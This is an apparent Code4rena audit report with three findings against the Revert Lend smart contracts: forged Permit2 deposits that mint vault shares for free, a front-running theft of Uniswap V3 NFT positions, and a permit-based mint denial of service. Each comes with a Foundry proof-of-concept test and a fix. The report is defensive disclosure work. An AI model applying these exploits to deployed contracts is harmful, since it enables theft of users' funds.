Revert Lend - santiellena's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L893-L899 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L978-L984 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L717-L726

Vulnerability details

Impact

The attacker can mint shares for himself up to the daily limit (dailyLendIncreaseLimitLeft) with zero cost. Next day, the attacker can mint himself again up to the daily limit. However, the attacker could drain all the available liquidity in just one transaction by withdrawing because on withdraws dailyLendIncreaseLimitLeft is incremented. On liquidations, the liquidator can fool the protocol not paying the position cost but receiving collateral tokens.

Proof of Concept

To achieve this, the attacker is able to deposit on V3Vault::deposit and V3Vault::mint with forged permit data. The attacker can set the permit data with any token and send those tokens through permit. This same exploit could be used on the V3Vault::repay function to pay debts taken (root cause is the same).

V3Vault::_deposit: https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L893-L899

if (permitData.length > 0) {
            // @audit what if I pay in a different token!!!!!
            (ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
                abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
            permit2.permitTransferFrom(
                permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
            );
}

The protocol never checks that the received tokens are actually the underlying asset of the pool.

Provided here the permit2::_permitTransferFrom function as context: https://github.com/Uniswap/permit2/blob/cc56ad0f3439c502c246fc5cfcc3db92bb8b7219/src/SignatureTransfer.sol#L45-L68

Preparation:

• Create MockERC20.sol on the test/integration folder and paste this code:

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.10;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract ERC20Mintable is ERC20 {
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {}
    
    function mint(uint256 amount, address to) public {
        _mint(to, amount);
    }
}

• Import the mock on test/integration/V3Vault.t.sol:

import {ERC20Mintable} from "./MockERC20.sol";

• Add the following test to test/integration/V3Vault.t.sol:

function testDepositPermit2Attack() public {
        uint256 amount = 1000000;
        uint256 privateKey = 123;
        address addr = vm.addr(privateKey);

        ERC20Mintable tokenAttack = new ERC20Mintable("ATTACK", "ATTK");
        address tokenAddress = address(tokenAttack);

        // give coins
        tokenAttack.mint(amount, addr);
        vm.prank(addr);
        tokenAttack.approve(PERMIT2, type(uint256).max);

        ISignatureTransfer.PermitTransferFrom memory tf = ISignatureTransfer.PermitTransferFrom(
            ISignatureTransfer.TokenPermissions(tokenAddress, amount), 1, block.timestamp
        );

        bytes memory signature = _getPermitTransferFromSignature(tf, privateKey, address(vault));
        bytes memory permitData = abi.encode(tf, signature);

        assertEq(vault.lendInfo(addr), 0);

        vm.prank(addr);
        vault.deposit(amount, addr, permitData);
        assertEq(vault.balanceOf(addr), 1000000);
    }

Tools Used

Manual review

Recommended Mitigation Steps

After decoding permit information, add a check to see if the token being sent is actually the underlying token:

  (ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
         abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
            
+ if(permit.permitted.token != asset) revert("Invalid Asset");

  permit2.permitTransferFrom(
        permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
  );

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/V3Utils.sol#L115 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/V3Utils.sol#L98

Vulnerability details

Impact

An attacker can front-run the approval of the NFT owner to V3Utils.sol and call V3Utils::execute with any Instructions.

Proof of Concept

V3Utils::execute uses the "approve / execute" pattern. In order to call the execute function, the NFT owner must call the nonfungiblePositionManager (named NPM on tests) to approve the V3Utils.sol contract to transfer the NFT. As this is done in two different transaction if an EOA wants to interact with it, a malicious attacker could send a transaction right after the approval but before the execution with its own Instructions. As there is no check in the V3Utils::execute function to know if the msg.sender is approved or the owner, the attacker's Instructions will be executed.

Using V3Utils::execute through V3Vault::transform eliminates this vulnerability because the approve and execution are done within the same transaction. However, the smart contract functionality is not only usable by V3Vault.sol. Any external user is exposed to a unnecessary risk (because the mitigation is simple and doesn't affect the functionality).

Provided here a test to be added in test/integration/V3Utils.t.sol showing how the attacker could steal the NFT:

    function testTransferWithChangeRangeApproveFrontRunned() external {
        // Add liquidity to existing (empty) position (add 1 DAI / 0 USDC)
        _increaseLiquidity();

        uint256 countBefore = NPM.balanceOf(TEST_NFT_ACCOUNT);
        
        // Attacker sets up malicious intstructions
        address attacker = makeAddr("attacker");

        (,,,,,,, uint128 liquidityBefore,,,,) = NPM.positions(TEST_NFT);

        // Swap half of DAI to USDC and add full range
        // and change the recipient to the attacker address
        V3Utils.Instructions memory inst = V3Utils.Instructions(
            V3Utils.WhatToDo.CHANGE_RANGE,
            address(USDC),
            0,
            0,
            500000000000000000,
            400000,
            _get05DAIToUSDCSwapData(),
            0,
            0,
            "",
            type(uint128).max, // Take all fees
            type(uint128).max, // Take all fees
            100, // Change fee as well
            MIN_TICK_100,
            -MIN_TICK_100,
            liquidityBefore, // Take all liquidity
            0,
            0,
            block.timestamp,
            attacker,
            attacker,
            false,
            "",
            ""
        );

        // Using approve / execute pattern
        // Nft owner approves to then execute the instruction
        vm.prank(TEST_NFT_ACCOUNT);
        NPM.approve(address(v3utils), TEST_NFT);

        // Attacker front-runs the transaction
        vm.prank(attacker);
        v3utils.execute(TEST_NFT, inst);
  
        // Now we have 1 empty NFT
        uint256 countAfter = NPM.balanceOf(TEST_NFT_ACCOUNT);
        assertEq(countAfter, countBefore);

        // The attacker owns the new position with the funds
        uint256 countAfterAttacker = NPM.balanceOf(attacker);
        assertEq(countAfterAttacker, 1);

        (,,,,,,, uint128 liquidityAfter,,,,) = NPM.positions(TEST_NFT);
        assertEq(liquidityAfter, 0);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Move the check on V3Utils::executeWithPermit to V3Utils::execute.

In V3Utils::executeWithPermit:

- if (nonfungiblePositionManager.ownerOf(tokenId) != msg.sender) {
-   revert Unauthorized();
- }

In V3Utils::execute at the beginning of the function:

+ if (nonfungiblePositionManager.ownerOf(tokenId) != msg.sender) {
+   revert Unauthorized();
+ }

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L389-L393 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L661-L663 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L954-L1014 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L877-L917

Vulnerability details

Impact

V3Vault::mint with permitData uses a Permit2 signature to approve on the Permit2 contract, the transfer of the underlying assets. However, due to a change in rates between the signature and the transaction, the amount signed and the requested can be changed and the transaction reverted. The same occurs on V3Vault::_repay with permitData when the isShare parameter is true.

Proof of Concept

V3Vault::mint with permitData gets the share amount as an input and calculates the asset amount from the share.

shares = amount;
assets = _convertToAssets(shares, newLendExchangeRateX96, Math.Rounding.Up);

The signature is generated using the exact value of the expected asset amount calculated from the share amount, and the resulting asset amount depends on the exchange rate of the vault that is calculated right before the assets calculation.

(, uint256 newLendExchangeRateX96) = _updateGlobalInterest();

The _updateGlobalInterest function updates the exchange rate if the last call to that function was made in a different block.timestamp.

if (block.timestamp > lastExchangeRateUpdate) {
            (newDebtExchangeRateX96, newLendExchangeRateX96) = _calculateGlobalInterest();
            lastDebtExchangeRateX96 = newDebtExchangeRateX96;
            lastLendExchangeRateX96 = newLendExchangeRateX96;
            lastExchangeRateUpdate = block.timestamp;
            emit ExchangeRateUpdate(newDebtExchangeRateX96, newLendExchangeRateX96);
} else {
            newDebtExchangeRateX96 = lastDebtExchangeRateX96;
            newLendExchangeRateX96 = lastLendExchangeRateX96;
}

If the signature used for the Permit2 transfer is created with a assets amount different than the calculated in the _updateGlobalInterest function, the call will fail. This situation, due to the short block duration and the fast change of block.timestamp (especially in Arbitrum), is really likely to happen.

Add the following test to test/integration/V3Vault.t.sol:

function testMintWithPermitFails() public {
        // Account creation with pk to sign (SET UP)
        uint256 amountSharesExpected = 1000000;
        uint256 privateKey = 123;
        address addr = vm.addr(privateKey);

        // Providing some tokens so something can be borrowed (SET UP)
        _deposit(2000000, WHALE_ACCOUNT);        
        // A change in rate in the previous block (SET UP)
        _createAndBorrow(TEST_NFT_2, TEST_NFT_ACCOUNT_2, 1500000);

        // Calculate the amount of USDC needed for the expected amount
        // of shares to be minted
        uint256 amount = vault.convertToAssets(amountSharesExpected);

        // Funding account with whale (SET UP)
        vm.prank(WHALE_ACCOUNT);
        USDC.transfer(addr, amount);

        // Approving to Permit2
        vm.prank(addr);
        USDC.approve(PERMIT2, type(uint256).max);

        // Signature with amount calculated
        ISignatureTransfer.PermitTransferFrom memory tf = ISignatureTransfer.PermitTransferFrom(
            ISignatureTransfer.TokenPermissions(address(USDC), amount), 1, block.timestamp + 120
        );
        bytes memory signature = _getPermitTransferFromSignature(tf, privateKey, address(vault));
        bytes memory permitData = abi.encode(tf, signature);

        // New block and different timestamp
        // Warp 1 block and 14 seconds into the future.
        // See information in report about L2 block numbers and timestamp.
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 14);

        // If a change in rate is made between the signature (with a calculated amount signed)
        // and the minting because of a block.timestamp difference between those two actions,
        // the transfer through permit will fail because the amount of assets calculated for a given amount
        // of shares is different than the amount calculated inside the `mint()` function.
        
        vm.prank(addr);
        vm.expectRevert();
        vault.mint(amountSharesExpected, addr, permitData);
        assertEq(vault.balanceOf(addr), 0);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Remove the V3Vault::mint with permitData function and restrict the Permit2 usage to V3Vault::deposit. Restrict the functionality of V3Vault::_repay, not allowing to pay with isShare as true with permitData at the same time.

Assessed type

DoS